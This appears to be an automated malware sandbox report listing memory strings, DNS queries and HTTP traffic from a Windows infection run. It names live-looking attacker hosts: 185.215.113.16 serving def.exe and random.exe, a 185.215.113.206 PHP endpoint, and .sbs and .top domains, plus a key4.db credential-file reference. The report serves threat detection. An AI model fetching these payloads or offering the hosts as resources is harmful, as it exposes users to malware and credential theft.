Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media.{0}.allow-x64-plugin-on-arm64media.gmp-manager.cert.checkAttributesSitePermsAddonInstall#cancel called twice on onPrefEnabledChanged() - removing gmp directory resource://gre/modules/UpdateUtils.sys.mjsThis should only be called from XPCShell testsipc:first-content-process-createdKEY_PLUGIN_LAST_INSTALL_FAIL_REASONresource://gre/modules/amManager.sys.mjsstartup - adding gmp directory failed with resource://gre/modules/AddonManager.sys.mjsstartup - adding clearkey CDM failedspeculativeConnectWithOriginAttributes - the given reason to update is not supportedmedia.gmp-manager.cert.requireBuiltInThis should only be called from XPCShell testssitepermsaddon-provider-registereddom.sitepermsaddon-provider.enabledonPrefEMEGlobalEnabledChanged() id=uninstallPlugin() - unregistering gmp directory startup - adding clearkey CDM directory @mozilla.org/spellchecker/engine;1findUpdates() - found update for media.gmp-manager.secondsBetweenChecksaddGatedPermissionTypesForXpcShellTestsonPrefEnabledChanged() - adding gmp directory resource://gre/modules/addons/XPIProvider.jsmFileUtils_closeAtomicFileOutputStream://static.chartbeat.com/js/chartbeat_video.js://libs.coremetrics.com/eluminate.jsresource://gre/modules/FileUtils.sys.mjs://www.everestjs.net/static/st.v3.js://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.js://connect.facebook.net//sdk.js@mozilla.org/network/file-output-stream;1://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//all.jshttps://smartblock.firefox.etp/play.svg@mozilla.org/addons/addon-manager-startup;1 background service worker script url: equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nimbus-desktop-experimentshttps://www.facebook.com/optInToExperiment/recipe<https://www.amazon.co.uk/https://www.wikipedia.org/nimbus:studies-enabled-changed equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2894451888.00000209A852D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2891470046.00000209A82F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2894451888.00000209A85E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2894451888.00000209A855F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2891470046.00000209A82AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2891470046.00000209A82F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}@mozilla.org/uriloader/handler-service;1resource://devtools/server/devtools-server.jsdevtools/client/framework/devtools-browserdevtools/client/framework/devtoolsJSON Viewer's onSave failed in startPersistencebrowser.fixup.domainsuffixwhitelist.Failed to listen. Listener already attached.get FIXUP_FLAG_FORCE_ALTERNATE_URIUnable to start devtools server on Got invalid request to save JSON datadevtools.debugger.remote-websocketresource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=defaultNo callback set for this channel.browser.fixup.dns_first_for_single_wordsdevtools.performance.popup.feature-flag@mozilla.org/network/protocol;1?name=fileDevTools telemetry entry point failed: ^([a-z+.-]+:\/{0,3})([^\/@]+@).+DevToolsStartup.jsm:handleDebuggerFlagFailed to listen. Callback argument missing.devtools.performance.recording.ui-base-urlWebChannel/this._originCheckCallback^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)Failed to execute WebChannel callback:Scheme should be either http or httpshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/uriloader/dbus-handler-app;1Can't invoke URIFixup in the content process_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/compose?to=%sextension/default-theme@mozilla.org/extendedDataresource://gre/modules/ExtHandlerService.sys.mjsgecko.handlerService.defaultHandlersVersionisDownloadsImprovementsAlreadyMigratedhandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/JSONFile.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttp://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.pl/mh/?mailto=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}extractScheme/fixupChangedProtocol<resource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1@mozilla.org/uriloader/web-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/FileUtils.sys.mjs_injectDefaultProtocolHandlersIfNeededhttps://mail.yahoo.co.jp/compose/?To=%shttp://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/local-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/file-input-stream;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/intl/converter-input-stream;1https://mail.yahoo.co.jp/compose/?To=%snewChannel requires a single object argumenthttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionNon-zero amount of bytes must be specifiedpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1VALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/uriloader/handler-service;1resource://gre/modules/Integration.sys.mjsFirst argument should be an nsIInputStreamMust have a source and a callbackSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/scriptableinpu

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: firefox.exe, 00000019.00000002.2796475486.0000020997E6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2878134580.00000209A7A7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: d015c0e328.exe, d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2836656383.0000000001641000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/R
Source: d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/U
Source: d015c0e328.exe, d015c0e328.exe, 00000007.00000003.2798934875.0000000001131000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840075446.0000000001645000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2836656383.0000000001645000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: d015c0e328.exe, 00000007.00000003.2797016567.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeBY
Source: d015c0e328.exe, 00000007.00000003.2797016567.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeI
Source: d015c0e328.exe, 00000007.00000002.2904744965.0000000000F5B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exesW
Source: d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/se
Source: d015c0e328.exe, d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeter
Source: d015c0e328.exe, 0000000A.00000003.2839657779.0000000001636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/t
Source: d015c0e328.exe, 00000007.00000003.2799971962.0000000001111000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: d015c0e328.exe, 0000000A.00000003.2840231634.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeault-release/key4.dbPK
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp, 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/08
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/I
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/:
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: d015c0e328.exe, 00000016.00000003.2957610878.00000000004EC000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2959293839.00000000004FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000002.2891470046.00000209A8262000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2961463851.00000209AA1E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000002.2940971557.00000209A9603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959507952.00000209AA029000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlskipContentPolicyCheckForWebRequestredirectChainInclud
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000019.00000002.2804534100.00000209A348A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000019.00000002.2804534100.00000209A3461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000019.00000002.2804534100.00000209A348A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000019.00000002.2804534100.00000209A3461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000019.00000002.2804534100.00000209A348A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2876719216.00000209A77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2639249130.00000209A7BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2991507780.00000209AA3EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959507952.00000209AA08C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFEB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3040511865.00000209B0036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2719231877.00000209AFF65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2726569286.00000209AA14C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2768616084.00000209AFFC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 